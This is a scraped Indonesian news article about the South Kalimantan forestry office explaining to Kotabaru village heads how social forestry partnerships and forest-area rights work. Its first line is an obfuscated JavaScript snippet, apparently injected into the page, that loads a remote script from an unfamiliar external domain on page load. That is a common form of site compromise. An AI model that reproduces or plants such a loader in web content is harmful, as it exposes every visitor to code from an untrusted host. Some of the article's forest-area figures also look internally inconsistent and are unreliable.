(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Dinas kehutanan Provinsi Kalimantan Selatan menyosialisasikan lahan masuk dalam kawasan hutan lindung dan kawasan hutan produksi, kepada kepala desa di Kabupaten Kotabaru.
Kepala Bidang Pemberdayaan Masyarakat, Penyuluhan dan Perhutanan Sosial Dinas Kehutanan Provinsi Kalimantan Selatan, I Gede Arya Subhakti, mengatakan masyarakat tidak bisa secara mandiri memfungsikan lokasi kawasan hutan lindung dan kawasan hutan produksi. Menurut dia, Pemprov Kalsel dan Pemkab Kotabaru akan mengelola lahan kawasan hutan bersama masyarakat desa lewat jalur kemitraan.
Gede Arya berkata petani mesti lebih dulu membentuk Kelompok Tani Hutan (KTH) karena salah satu syarat menggarap lahan kemitraan.
“Lahan kawasan hutan tersebut hanya diberi hak mengelola saja oleh pemerintah, bukan untuk dimiliki masyarakat,†ucap Gede Arya Subhakti ketika sosialisasi di kantor Kecamataan Kelumpang Hulu, Kabupaten Kotabaru, Rabu (18/7).
Menurut Gede, warga lokal akan menerima 2 hektare setiap kepala keluarga yang tinggal di kawasan hutan. Mengutip data Dinas Kehutanan Kalimantan Selatan, luas kawasan hutan Kalsel mencapai 1.779.982 hektare (47,43 persen) dari luas administrasi Kalsel 3.700.406 hektare.
Luas kawasan hutan itu terdiri atas hutan konservasi 213.000 hektare, hutan lindung 526.000 hektare, hutan produksi terbatas seluas 127.000 hektare, hutan produksi tetap 762 hektare, dan hutan konservasi 151.000 hektare. Gede Arya berujar perhutanan sosial bertujuan menekan lahan kritis dan mensejahterakan warga lokal lewat bercocok tanam dan pemanfaatan kayu.
Kepala Kantor Pengelolaan Hutan (KPH) Desa Cantung, Kecamatan Kelumpang Hulu, Beny Raharjo, menuturkan sosialisasi perhutanan sosial turut mengundang perwakilan 9 kecamatan dari 12 kecamatan di Kabupaten Kotabaru. Adapun tiga kecamatan lain tidak diundang karena hanya memiliki kawasan hutan cagar alam yang merupakan kewenangan BKSDA.
Beny menambahkan luas keseluruhan lahan hutan kritis yang ada di Kalsel berjumlah 640.709 hektare, yang masuk dalam kawasan hutan seluas 398.302 hektare. KPH Cantung turut meneken nota kesepahaman dengan kantor Kecamatan Kelumpang Hulu dalam rangka Revolusi Lahan Hijau.(rendy)
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
This website uses cookies.